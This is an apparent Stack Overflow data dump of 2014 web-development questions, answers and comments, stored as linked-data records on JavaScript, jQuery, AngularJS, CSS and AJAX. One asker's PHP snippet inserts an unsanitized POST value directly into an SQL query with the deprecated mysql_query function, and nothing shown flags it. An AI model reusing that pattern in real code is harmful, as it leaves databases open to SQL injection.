has comment: http://stackoverflow.com/comment/40231675
has comment: http://stackoverflow.com/comment/40231452
has comment: http://stackoverflow.com/comment/40231273
score: 0
answers question: http://stackoverflow.com/q/25732161
has body: You are using wrong events for bootstrap. http://getbootstrap.com/javascript/#modals-usage and go to events(just a little bit scroll down) show.bs.modal - This event fires immediately when the show instance method is called. If caused by a click, the clicked element is available as the relatedTarget property of the event.
has comment: http://stackoverflow.com/comment/40231377
type: Answer

http://stackoverflow.com/q/25847187
tagged with: date-formatting
tagged with: javascript
tagged with: date
score: 0
upvote count: 1
answer count: 1
downvote count: 1
has body: I need a little bit of help with a regular expression to convert a date into milliseconds using regular expressions. I am not sure what regular expression I need to do this. Here are a few example dates: 3 dagar, 12:00:46 2 dagar, 8:01:00 1 dag, 11:34:00 0 dagar, 0:04:00 Again, I'd like a regexp that will parse these dates into milliseconds. Alternatively I could use a library like this, to parse the date. But I have not much experience with that either.
tagged with: regex
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40441790
favorite count: 0
has title: JavaScript regexp parse date/time to milliseconds
has answer: http://stackoverflow.com/a/25847739
accepted answer: http://stackoverflow.com/a/25847739
type: Question

http://stackoverflow.com/comment/40283956
type: Comment
has text: Hold up, i havent said i use the ID multiple times, i've put the background-image id into the same div as the background ID and deleted the id from the div where is was originaly
comment on: http://stackoverflow.com/a/25760956
score: 0
type: AnswerComment

http://stackoverflow.com/a/25790699
has body: You could add the doMoreStuff as a callback to the promise. Something like this function removeBook(e) { e.preventDefault(); if ($(this).hasClass('needs-ajax-call') { var promise = deleteFromBasket($(this).prop("id").replace("book-id-", "")); promise.done(doMoreStuff); } else{ hideRow(); doMoreStuff(); } }
type: Answer
has comment: http://stackoverflow.com/comment/40401278
answers question: http://stackoverflow.com/q/25790463
score: 0

http://stackoverflow.com/q/25783261
answer count: 3
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25783619
upvote count: 1
has answer: http://stackoverflow.com/a/25783359
type: AnsweredQuestion
score: 1
accepted answer: http://stackoverflow.com/a/25783359
type: Question
has comment: http://stackoverflow.com/comment/40324576
possible better answer: http://stackoverflow.com/a/25783397
has title: After 600 length check for closest dot(".") and then remove all text after the dot
has answer: http://stackoverflow.com/a/25783397
tagged with: javascript
tagged with: jquery
has body: What I am trying to do is to remove all text after closest dot (".") only after text have passed length of 600. so lets say a div tag have 5432 text length I want it to display only the text before closest dot(".") after 600 text length. Here is what I have done so far. JSFiddle Any kind of help is appreciated
has comment: http://stackoverflow.com/comment/40324527

http://stackoverflow.com/a/25820318
has body: something out of the box. Make it simple mate - use DateTime from Html5 &lt;form&gt; Birthday (date and time): &lt;input type="datetime" name="bdaytime"&gt; &lt;/form&gt;
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25820222

http://stackoverflow.com/q/25757478
has answer: http://stackoverflow.com/a/25757545
upvote count: 1
has title: Apply a class if element undefined - AngularJS
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25757545
score: 1
type: Question
has body: I want to apply a class to an element only if an element in an object undefined/null. I am trying the way below, but not succeeding... {{post.record.name}} Thanks for help.
answer count: 2
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25757506
favorite count: 0
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25757506

http://stackoverflow.com/comment/40369638
comment on: http://stackoverflow.com/a/25807472
score: 0
type: AnswerComment
has text: @ArvindKumar I think that uses server side code. I think the only way to do it is using server side code.
type: Comment

http://stackoverflow.com/comment/40354581
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25799389
has text: Just to be clear. Do you mean that `elms[0]` would generate the entire HTML ` When? `?

http://stackoverflow.com/comment/40430331
has text: Sorry, but something mentioned in 'Additional Notes' also.
comment on: http://stackoverflow.com/q/25840858
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/25848400
has body: I think you're confusing AMD.js (here, Require.JS) and CommonJS. AMD.js uses the require(['dep1', 'dep2'], function (dep1, dep2) { dep1.callSomething(); }); (this allows for async loading) CommonJS (which is what prelude-ls uses), on the other hand, is basically what node does (and what we generate with require!): var preludeLs = require('prelude-ls')
type: Answer
has comment: http://stackoverflow.com/comment/40443302
answers question: http://stackoverflow.com/q/25848347
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/25848347
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40443273

http://stackoverflow.com/q/25787569
has answer: http://stackoverflow.com/a/25788214
accepted answer: http://stackoverflow.com/a/25788214
has title: Javascript: flatten nested JSON array with while keeping a key value
score: -2
tagged with: javascript
has comment: http://stackoverflow.com/comment/40332073
has comment: http://stackoverflow.com/comment/40332659
downvote count: 2
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40331934
has comment: http://stackoverflow.com/comment/40332275
has comment: http://stackoverflow.com/comment/40332051
has comment: http://stackoverflow.com/comment/40332000
type: AnsweredQuestion
upvote count: 0
has body: I have the following JSON array: [{ "eurusd": { "at": 1410438338, "ticker": { "buy": "1.123", "sell": "1.123", "low": "1.123", "high": "1.123", "last": "1.123", "vol": "1.123", "change": "1.123", "change_trend": "up" } }, "eurgbp": { "at": 1410438338, "ticker": { "buy": "1.123", "sell": "1.123", "low": "1.123", "high": "1.123", "last": "1.123", "vol": "1.123", "change": "1.123", "change_trend": "down" } } }] and need to bring it in the following format: [{ "market": "eurusd", "currency": "usd", "volume": "1.123", "change": "1.123", "last": "1.123", "high": "1.123", "low": "1.123" }, { "market": "eurgbp", "currency": "gbp", "volume": "1.123", "change": "1.123", "last": "1.123", "high": "1.123", "low": "1.123" }] I am aware of flatten methods but there is an important thing I can not make work: 1) currency is not part of the original array. I will need to split it from the key name so far I am able to fully flatten the original array but I have no luck to leave out certain values (eg. buy/sell) as well as adding the "currency" value to the new array.
type: Question

http://stackoverflow.com/a/25826324
has body: I wasn't sure what your problem was so I just wrote how I'd do what you described var translate = (function () { function toEnglish(str) { return str.replace(/(?=[a-z])([^aeiou])op/gi, '$1'); } function toLanguage(str) { return str.replace(/(?=[a-z])([^aeiou])/gi, function ($0, $1) { return $1 + ($1 === $1.toUpperCase() ? 'OP' : 'op'); }); } return { toEnglish: toEnglish, toLanguage: toLanguage }; }()); Then translate.toLanguage('Hello'); // "HOPeloplopo" translate.toEnglish('HOPeloplopo'); // "Hello"
accepted answer of: http://stackoverflow.com/q/25826266
score: 1
upvote count: 1
type: AcceptedAnswer
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/25826266

http://stackoverflow.com/comment/84787994
comment on: http://stackoverflow.com/a/25758000
has text: @CodedContainer Make sure `$` is the jQuery function. Most probably it's the `querySelector` function (named `$`) which is exposed by the Google Chrome Dev Tools.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40474096
comment on: http://stackoverflow.com/a/25850658
type: Comment
score: 0
type: AnswerComment
has text: @SamuelCaillerie Caching the selectors slipped my mind, I ll edit it now cheers on the suggestions. I ll optimize the code now.

http://stackoverflow.com/comment/40259339
comment on: http://stackoverflow.com/a/25747542
type: AnswerComment
type: Comment
has text: http://stackoverflow.com/questions/10371977/img-lowsrc-attribute-events
score: 1

http://stackoverflow.com/comment/40478942
comment on: http://stackoverflow.com/q/25867922
score: 0
type: Comment
type: QuestionComment
has text: Dude, fiddle: http://stackoverflow.com/a/5110337/2672018.

http://stackoverflow.com/a/25771867
downvote count: 0
has comment: http://stackoverflow.com/comment/40305423
type: Answer
score: 1
has body: Use maxNumberOfFiles $('#file-upload').fileupload({ maxNumberOfFiles: 6 }); Found in the documentation: https://github.com/blueimp/jQuery-File-Upload/wiki/Options#maxnumberoffiles
upvote count: 1
answers question: http://stackoverflow.com/q/25771418

http://stackoverflow.com/q/25826768
has comment: http://stackoverflow.com/comment/40404081
tagged with: jquery
has comment: http://stackoverflow.com/comment/40404733
has body: I am following the tutorial from http://www.sitepoint.com/building-list-jquery-local-storage/ to build a todo list and I want to display for elements in the same line. At the moment form elements are stacked over each other and displayed vertically but I want them to be displayed vertically. I ultimately want to achieve a result that looks like this: Here is the CSS Code .task-list{ width: 250px; float: left; margin: 0 5px; background-color: #e3e3e3; min-height: 240px; border-radius: 10px; padding-bottom: 15px; } .task-list input, .task-list textarea{ width: 240px; margin: 1px 5px; } .task-list input{ height: 30px; } .todo-task{ border-radius: 5px; background-color: #fff; width: 230px; margin: 5px; padding: 5px; } .task-list input[type="button"]{ width: 100px; margin: 5px; } .todo-task > .task-header{ font-weight: bold; } .todo-task > .task-date{ font-size: small; font-style: italic; } .todo-task > .task-description{ font-size: smaller; } Here is the html code Add a task Drag Here to Delete Pending
type: Question
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40404216
tagged with: css
has comment: http://stackoverflow.com/comment/40404161
score: 0
has comment: http://stackoverflow.com/comment/40404141
tagged with: forms
answer count: 1
has title: Displaying form elements inline
has answer: http://stackoverflow.com/a/25827364
has comment: http://stackoverflow.com/comment/40404080
has comment: http://stackoverflow.com/comment/40404561
has comment: http://stackoverflow.com/comment/40404088
has comment: http://stackoverflow.com/comment/40404441
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40404129

http://stackoverflow.com/q/25737938
type: Question
possible better answer: http://stackoverflow.com/a/25738042
has comment: http://stackoverflow.com/comment/40242279
upvote count: 2
has comment: http://stackoverflow.com/comment/40242454
has answer: http://stackoverflow.com/a/25738042
downvote count: 1
has comment: http://stackoverflow.com/comment/40242108
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25738018
has comment: http://stackoverflow.com/comment/40243038
accepted answer: http://stackoverflow.com/a/25738018
tagged with: http://stackoverflow.com/tag/html
has body: I am new to jQuery so please help me with the output. Below is the HTML code used for reference. When I used following as script The result was 5 alerts with id of each div But when I used There were only two alert for level 1.2.1 and 1.2.2 I was wondering why there was no alert for 1.1.1 and 1.1.2 as they also have span as their parents? Thanks in advance. If divs can't be child of then why is Working fine ??
tagged with: css
answer count: 4
has title: Jquery find and each selector
tagged with: each
has comment: http://stackoverflow.com/comment/40242175
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40242546
has answer: http://stackoverflow.com/a/25738522
score: 1
has answer: http://stackoverflow.com/a/25738058
has comment: http://stackoverflow.com/comment/40246204

http://stackoverflow.com/comment/40284797
type: QuestionComment
type: Comment
score: 1
has text: & a hint to answer your question, you can use `document.write` or `document.createElement('script')`.
comment on: http://stackoverflow.com/q/25761517

http://stackoverflow.com/q/25827614
downvote count: 0
has comment: http://stackoverflow.com/comment/40406554
has answer: http://stackoverflow.com/a/25828197
has title: Global namespaced variable: any alternative?
favorite count: 0
tagged with: backbone.js
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40406500
has comment: http://stackoverflow.com/comment/40405574
has comment: http://stackoverflow.com/comment/40405744
upvote count: 2
has answer: http://stackoverflow.com/a/25983060
has comment: http://stackoverflow.com/comment/40406150
has body: If there are three objects: Object A triggers an event, passing a 'date' parameter; Object B triggers an event, passing a 'category' parameter; Object C triggers an event, passing a google map 'bounds' parameter; Object D listens to both events A, B and C executing a single function that requires the current state of both A (date), B (category) and C (map bounds). Is there any way around using: window.app = {}; //--&gt; global var curDate = app.appState.curDate; var curCategory = app.appState.curCategory; var curBounds = app.appState.curBounds; I'm not too fond of using Global variables even when they are namespaced, because the user can directly access these variables from the browser and screw the interface. The back end is still safe, but somehow it doesn't feel right. But it doesn't seem as if there is a viable alternative to access both the variables from controller D. I've noticed how passing around parameters and making it fit can become a very cumbersome activity, and it doesn't appear to be very maintainable. Edit: The structure is somewhat like this: App ---&gt; app_dates ---&gt; datesController (trigger date change event fom view) ---&gt; app_categories ---&gt; categoryController (trigger category change from view) ---&gt; app_map ---&gt; mapController (trigger map bounds change from Google map) ---&gt; app_home ---&gt; Listen to the events, send a request to the server with above parameters)
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40406201
has comment: http://stackoverflow.com/comment/40405702
score: 2

http://stackoverflow.com/a/25783570
has body: jQuery 2.0 dropped support for some browsers. See the post at http://blog.jquery.com/2013/04/18/jquery-2-0-released/ No more support for IE 6/7/8: Remember that this can also affect IE9 and even IE10 if they are used in their “Compatibility View” modes that emulate older versions. To prevent these newer IE versions from slipping back into prehistoric modes, we suggest you always use an X-UA-Compatible tag or HTTP header. If you can use the HTTP header it is slightly better for performance because it avoids a potential browser parser restart. Keep jQuery 1.9 if IE 6/7/8 are a concern.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25783362

http://stackoverflow.com/q/25857219
tagged with: javascript
score: 0
answer count: 1
tagged with: jquery
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25857302
tagged with: css
has title: How to scroll 100% only the first scrolling
has comment: http://stackoverflow.com/comment/40459873
linked to: http://stackoverflow.com/q/7154967
type: Question
has body: I have a div fulfilling 100% height/width of the browser window. I want my page to scroll 100% height but only the first time scroll. So the site jumps beyond the first div and then scrolls like normal. And every time it scrolls the first div in sight it should scroll again 100% to the top. I hope I could make my point clear. I appreciate any help.

http://stackoverflow.com/comment/40410592
type: Comment
score: 7
comment on: http://stackoverflow.com/q/25830377
type: QuestionComment
has text: why is it not valid?

http://stackoverflow.com/a/25725652
downvote count: 0
has body: You can use the built-in crypto module instead. It provides both a crypto.randomBytes() as well as a crypto.pseudoRandomBytes(). However it should be noted that these methods give you a Buffer object, you cannot pass in a Uint32Array or similar, so the API is a bit different.
score: 21
accepted answer of: http://stackoverflow.com/q/25725596
has comment: http://stackoverflow.com/comment/88427227
answers question: http://stackoverflow.com/q/25725596
has comment: http://stackoverflow.com/comment/40219204
upvote count: 21
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40218867
type: Answer

http://stackoverflow.com/comment/40280876
has text: Awesome, seems like I was complicating myself too much. Thanks!
type: Comment
comment on: http://stackoverflow.com/a/25742057
score: 0
type: AnswerComment

http://stackoverflow.com/q/25852550
has title: How to get the full value of an HTTP header in Apigee?
tagged with: javascript
has answer: http://stackoverflow.com/a/25853056
score: 0
possible better answer: http://stackoverflow.com/a/25853056
has body: I cannot get the full value of the header with Apigee using JavaScript. Only a partial header value is returned. Instead of getting: Location: http://partners.api.skyscanner.net/apiservices/pricing/v1.0/c7b98b9cc3f14fb39b13645b0361bba7_ecilpojl_84BDF90D45EB6E187527B8F6DDD1B814/booking/16130-1409241445-CM,LA-4-10815-1409250800;10815-1410011920-LA,CM-4-16130-1410022313 I'm getting the value with everything after comma (,) missing: Location: http://partners.api.skyscanner.net/apiservices/pricing/v1.0/c7b98b9cc3f14fb39b13645b0361bba7_ecilpojl_84BDF90D45EB6E187527B8F6DDD1B814/booking/16130-1409241445-CM I've tried both: var a = context.targetResponse.headers.Location; var b = context.getVariable('response.header.Location'); Is there a workaround to this issue?
has answer: http://stackoverflow.com/a/25853062
tagged with: apigee
type: Question
type: AnsweredQuestion
tagged with: http-headers
accepted answer: http://stackoverflow.com/a/25853062
answer count: 2

http://stackoverflow.com/comment/40282673
score: 0
type: AnswerComment
has text: This is the answer I was going to give too. I think you need to improve your question as it's really not clear what you're after.
type: Comment
comment on: http://stackoverflow.com/a/25760222

http://stackoverflow.com/a/25838759
type: Answer
upvote count: 1
has body: Can you try doing a events: { "all": "log" } log: function(e) { console.log e; } That should log out every event that's getting fired. I find it super helpful when troubleshooting.
accepted answer of: http://stackoverflow.com/q/25837827
answers question: http://stackoverflow.com/q/25837827
type: AcceptedAnswer
downvote count: 0
score: 1

cors
type: Tag
tag name: cors
tags question: http://stackoverflow.com/q/25815958
tags question: http://stackoverflow.com/q/25769857
tags question: http://stackoverflow.com/q/25752099
tags question: http://stackoverflow.com/q/25858901
tags question: http://stackoverflow.com/q/25727306

http://stackoverflow.com/comment/40256929
comment on: http://stackoverflow.com/a/25746208
has text: its always good practice to minimize adding to `window` to keep global namespace clean (http://stackoverflow.com/questions/3679634/is-setting-properties-on-the-window-object-considered-bad-practice)
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/42897043
has text: Thanks for the response, but if the page is reset, and the dirty forms cancel button clicked, the please wait should not appear on the page. This is the error that I currently have.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25839532

http://stackoverflow.com/q/25807033
has comment: http://stackoverflow.com/comment/40367603
possible better answer: http://stackoverflow.com/a/25807747
has comment: http://stackoverflow.com/comment/40367704
has comment: http://stackoverflow.com/comment/40367432
tagged with: javascript
has body: Let's say i have the following code: HTML &lt;div class="container"&gt; &lt;input class="myAwesomeInputBox"&gt; &lt;/div&gt; CSS .input [type=text]:focus &gt; .//ANY CLASS SOMEWHERE ON THE WEBSITE{ //Some sweet CSS. } Obviously this code doesnt work. I want some specific css to get executed when there is focus on my inputbox. Is this at all possible? I'm not specificly looking for html/css only solutions. Any solution that can achieve this is welcome. My code above is just an extremely simple example. My question is really simple. Is it possible to change styling on ANY element on your website using the :focus on an input box.
tagged with: jquery
has comment: http://stackoverflow.com/comment/40367434
has comment: http://stackoverflow.com/comment/40367952
has comment: http://stackoverflow.com/comment/40367783
has comment: http://stackoverflow.com/comment/40367881
answer count: 3
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
upvote count: 15
tagged with: css
accepted answer: http://stackoverflow.com/a/25807674
favorite count: 0
has answer: http://stackoverflow.com/a/25807747
has comment: http://stackoverflow.com/comment/109349298
has comment: http://stackoverflow.com/comment/40367915
has comment: http://stackoverflow.com/comment/40367668
has comment: http://stackoverflow.com/comment/40368129
has answer: http://stackoverflow.com/a/25807674
has answer: http://stackoverflow.com/a/63572281
has title: Make :focus change css of another class
score: 14
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/7876283
linked to: http://stackoverflow.com/q/24287192
type: Question

http://stackoverflow.com/comment/40446017
score: 0
comment on: http://stackoverflow.com/q/25849510
type: Comment
type: QuestionComment
has text: may be try changing the name to lower case...nothing wrong with the code.

http://stackoverflow.com/q/25735452
has comment: http://stackoverflow.com/comment/40237504
downvote count: 1
has answer: http://stackoverflow.com/a/25735505
has comment: http://stackoverflow.com/comment/40237349
score: -1
has comment: http://stackoverflow.com/comment/40237375
type: Question
upvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
has title: How do I correctly let the browser update in the middle of a loop using setTimeout?
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40237393
has body: I'm trying to use javascript to generate a sequence of images on a html5 canvas. Here's a fiddle of what I already have: http://jsfiddle.net/ws5e3rw6/1/ function loopColors(){ for (r=0; r&lt;1; r++){ for (g=0; g&lt;1; g++){ for (b=0; b&lt;256; b+=50){ setTimeout(drawImage,1000,r,g,b); } } } } I've seen so many suggestions on this topic, and it's really frustrating, because none of them seem to be working for me. I've tried an anonymous function, like: function loopColors(){ for (r=0; r&lt;1; r++){ for (g=0; g&lt;1; g++){ for (b=0; b&lt;256; b+=50){ setTimeout(function(){drawImage(r,g,b);},1000); } } } } But that also doesnt work. At the moment, after clicking the button, it waits for a second, then instantly jumps to the last blue color. I have no idea why. I'm fairly new to javascript, so I may be missing something obvious. Any help would be much appreciated.
type: UnansweredQuestion

http://stackoverflow.com/q/25766280
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/28068285
tagged with: http://stackoverflow.com/tag/json
has title: How to retrive only parent child and enable expand to get the child?
type: Question
has comment: http://stackoverflow.com/comment/40294623
has comment: http://stackoverflow.com/comment/40293731
tagged with: javascript
tagged with: jquery
favorite count: 0
score: 0
has answer: http://stackoverflow.com/a/28068285
answer count: 1
has body: Need to load only the parent node for the sake of performance and then load the children when the user clicks on the icon, and the icon does not seem to expand when I do not carry child node. Can anyone help me? My code return in json. below: "JsonData": [ { "id": "13", "text": "MainBox", "parent": "#", "state": { "opened": false, "disabled": false, "selected": false }, "children": false, "icon": null, "li_attr": "{class = 'jstree-leaf' }", "a_attr": null } ] EDIT My jquery below: root = $('#tree-files').jstree({ 'core': { 'data': //code before }, "plugins": ["themes", "json_data", "ui", "contextmenu"] });
has comment: http://stackoverflow.com/comment/40298638
upvote count: 1
downvote count: 1
tagged with: jstree

http://stackoverflow.com/a/25866108
has comment: http://stackoverflow.com/comment/40475964
type: Answer
answers question: http://stackoverflow.com/q/25865476
score: 0
has body: Have you done the same like this? .new_class{font-size: 36px !important; } $("#idDiv").find("span:first").addClass("new_class");

http://stackoverflow.com/comment/40488944
has text: You can combine any number of name + value properties, including your HTML, into a Javascript object and send that via an Ajax call. It will be received as it it were a form post. You need to show your client-side code and your controller method to receive the post.
comment on: http://stackoverflow.com/q/25873029
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25838474
score: 2
type: Question
downvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40426332
favorite count: 0
tagged with: ajax
linked to: http://stackoverflow.com/q/15405328
has comment: http://stackoverflow.com/comment/48424853
has title: JQuery ajax to invoke method in controller and store the data
tagged with: ruby
answer count: 0
upvote count: 2
type: UnansweredQuestion
has body: I have this code in JS: $("#send_button").click(function(){ var isitArray = getObjectsRequest('isit', isitID); var ecArray = getObjectsRequest('ec', ecID); var bcArray = getObjectsRequest('bc', bcID); var bbArray = getObjectsRequest('bb', bbID); var ioArray = getObjectsRequest('io', ioID); function getObjectsRequest(type, compId){ var array = []; for (var i = 0; i&lt;compId; i++) { var comp = mainLayer.find('#'+ type + i)[0]; array.push({ xposition: comp.getX(), yposition: comp.getY(), titleid: comp.getId(), description: comp.find('.textDescription')[0].getText(), leftrelationsids: comp.leftCRelations, rightrelationsids: comp.rightCRelations }); }; return array; } var datatosend = { isit: isitArray, ec: ecArray, bc: bcArray, bb: bbArray, io: ioArray }; var diagramName = $("#diagramName").val(); if(diagramName==''){ alert("Enter the diagram name!"); } else { datatosend.diagramname = diagramName; $.ajax({ type: "POST", url: "insertdata.php", data: datatosend, dataType: "text" }) .done(function( msgReply ) { alert("Data saved with success."); //alert( "Data Saved: " + msgReply ); displayDiagrams(); }); } return false; }); This ajax jquery example uses a php file. I'm integrating this tool into an application in ruby on rails. My objective is to store the diagram data using a method in Diagram controller. Is it possible to store the data using this kind of ajax request? More like this: $.ajax({ type: "POST", url: "/diagrams", data: datatosend, dataType: "html" Invoking the create method in the Diagram controller. How should I do this?
tagged with: ruby-on-rails

http://stackoverflow.com/comment/40219701
type: QuestionComment
has text: @NitinVerma But I'm passing the params using the data variable on my ajax. What do you suggest??? Thanks
comment on: http://stackoverflow.com/q/25726223
score: 0
type: Comment

http://stackoverflow.com/comment/40371296
type: Comment
has text: Working beautifully @Huangism! Thanks a lot.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25808772

http://stackoverflow.com/comment/40350444
score: 0
has text: @TimothyShields: No, better not (for various reasons). And don't confuse newbies with that!
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25797046

http://stackoverflow.com/q/25743966
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40316689
tagged with: angularjs
tagged with: angularjs-ng-click
type: UnansweredQuestion
score: 0
has body: I am a newbie in angularjs and was trying to append the data in the view on click event. The following is the code I have written: Html No Results for Rated. Directive: var pageno=1; function MainCtrl($scope) { $scope.count = 0; } //Directive that returns an element which adds buttons on click which show an alert on click.Here we can put woi.directive("yes",['userAPI','$rootScope', function(userAPI,$rootScope){ return { restrict: "E", template: "please click on me" } }]); //Directive for adding buttons on click that show an alert on click woi.directive("addbuttons",['$rootScope','userAPI','$compile', function($rootScope,userAPI,$compile){ return function(scope, element, attrs){ element.bind("click", function(){ scope.count++; alert("hII") //var abc= scope.loadRated(pageno); userAPI.topRated({userid: $rootScope.getUser().userid}, function (r, $scope, div){ if(!$rootScope.device.isMobile && !$rootScope.device.isTablet && !$rootScope.device.isTouch ) { var topRatedList = r.gettopratedhomepage.topratedprogrammelist; console.log(r) var str=''; for(var i=0;i<topRatedList.length;i++) { // str+="topRatedList[i].actualname"; var programNameEncode= topRatedList[i].programmename // | encodeUrl; var program=topRatedList[i].programmename; var channelId=topRatedList[i].channelid; var programId=topRatedList[i].programmeid; var channel=topRatedList[i].channeldisplayname; var channelNameEncode=topRatedList[i].channeldisplayname //| encodeUrl; var startTime=topRatedList[i].starttime; var favourite=topRatedList[i].isfavorite; var reminder=topRatedList[i].isreminder; var watchlist=topRatedList[i].iswatchlist; var duration=topRatedList[i].duration; var imageFile=topRatedList[i].imagefilepath; var startTime= topRatedList[i].starttime; var duration= topRatedList[i].duration; var isReco=topRatedList[i].isrecommended; // This is for reco str+=" " ; str+=" "; // str+=" "; str+=" "; str+=" "; str+=" "; str+=""; str+= " "; str+="\""+duration+"\""; str+=" "; str+=""; str+=""; str+=""; str+=""; …
has answer: http://stackoverflow.com/a/26107793
tagged with: active-directory
type: Question
has title: Append HTML in angular js giving errors
has comment: http://stackoverflow.com/comment/40253953
answer count: 1

http://stackoverflow.com/a/25826922
type: Answer
has body: I've found a workaround for this problem, that looks it's been around since APEX v3.1 From PLSQL Developer run the code below as the apex workspace owner: set serveroutput on declare l_security_group_id number; begin select workspace_id into l_security_group_id from APEX_040200.APEX_WORKSPACES; wwv_flow_api.set_security_group_id (p_security_group_id =&gt; l_security_group_id); wwv_flow_api.create_or_remove_file ( p_name =&gt; 'test.js' , p_location =&gt; 'WORKSPACE' , p_mode =&gt; 'REMOVE' , p_type =&gt; 'JS' ); commit; end; First part sets the apex engine to point to the correct workspace id in Apex. Second part is the procedure that should remove your file from the database. Still, this shouldn't be necessary if the apex engine deleted the file as intended...
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25787725
score: 1
answers question: http://stackoverflow.com/q/25787725
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25749037
has body: I have been trying to use a wamp server with my html site. I want to add a row to a table but nothing seems to work. I am using ajax to post the data to the php file and then using sql commands to update the table. HTML Code &lt;button type="submit" class="btn btn-lg btn-primary" onClick="PostJob();"&gt; Submit &lt;/button&gt; Javascript code in HTML file: &lt;script language="javascript"&gt; function PostJob() { $.ajax({ type: "POST", url: "http://localhost/jobjobDatabase/update_job.php", data: {ProjectName: $("#ProjectName").val()} }); } &lt;/script&gt; PHP Code: &lt;?php // array for JSON response $response = array(); // include db connect class require_once __DIR__ . '/db_connect.php'; // connecting to db $db = new DB_CONNECT(); // check for post data if (isset($_POST['ProjectName'])) { $ProjectName = $_POST['ProjectName']; //Project Name echo $ProjectName; // mysql inserting a new row $result = mysql_query("INSERT INTO postedjobs(ProjectName) VALUES('$ProjectName')"); // check if row inserted or not if ($result) { // successfully inserted into database $response["success"] = 1; $response["message"] = "games successfully created."; // echoing JSON response echo json_encode($response); } else { // failed to insert row $response["success"] = 0; $response["message"] = "Oops! An error occurred."; // echoing JSON response echo json_encode($response); } } else { // required field is missing $response["success"] = 0; $response["message"] = "Required field(s) is missing"; // echoing JSON response echo json_encode($response); } ?&gt; Any ideas on what I am doing wrong or I should try? I have been googleing and reading/trying everything and nothing seems to work. Thanks!
answer count: 0
has comment: http://stackoverflow.com/comment/40262313
type: Question
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40262436
score: 0
has title: Posting to PHP link with AJAX
tagged with: ajax
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40261968
tagged with: php
has comment: http://stackoverflow.com/comment/40261915

http://stackoverflow.com/comment/46945280
has text: Thanks! navigator.msSaveBlob(blob, filename); seems to do the trick! sucks that in this day and age different browsers still need different techniques to do the same thing.
score: 0
comment on: http://stackoverflow.com/a/25823476
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40366442
type: Comment
type: QuestionComment
has text: it doesnt work, it just prints out an error that the page doesnt exist..
comment on: http://stackoverflow.com/q/25799072
score: 0

http://stackoverflow.com/comment/40436027
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25842331
has text: It's not very clear on what is the question. What is the issue you're struggling with?

http://stackoverflow.com/a/25770437
score: 0
answers question: http://stackoverflow.com/q/25770220
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/40521733
has body: You can not use setTimeout to make a reliable time keeping script. John Resig explains how JavaScript timers work: http://ejohn.org/blog/how-javascript-timers-work/ The short version is that there is always have a small delay. The millisecond parameter you pass to setTimeout is a "best effort". If you want to show a live timer consider polling the time really often. If the event loop slows down, there is no effect on your ability to track time, you just get less updates. http://jsfiddle.net/64pcr7pw/ &lt;script type="text/javascript"&gt; var timer, time = 0, start_time = 0; function startstoptimer() { if (timer) { time += new Date().getTime() - start_time; start_time = 0; clearInterval(timer); timer = null; } else { start_time = new Date().getTime(); timer = setInterval(function () { document.d.d2.value = time + new Date().getTime() - start_time; }, 10); } } function resettimer() { time = 0; start_time = new Date().getTime(); document.d.d2.value = "0"; } &lt;/script&gt; &lt;form name="d"&gt; &lt;input type="text" size="8" name="d2"/&gt; &lt;input type="button" value="Start/Stop" onclick="startstoptimer()"/&gt; &lt;input type="reset" onclick="resettimer()" /&gt; &lt;/form&gt;
accepted answer of: http://stackoverflow.com/q/25770220

http://stackoverflow.com/comment/40378448
has text: @briansol good point - I went back and fixed that locally. I also came up with a small-scale solution; I set up a questionsAnswered counter, so each time a question is answered, questionsAnswered is incremented by ++. After, if questionsAnswered < 5, alert user, otherwise, continue.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25792205

hoisting
tag name: hoisting
tags question: http://stackoverflow.com/q/25771837
type: Tag

http://stackoverflow.com/a/25787689
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25787504
accepted answer of: http://stackoverflow.com/q/25787504
type: Answer
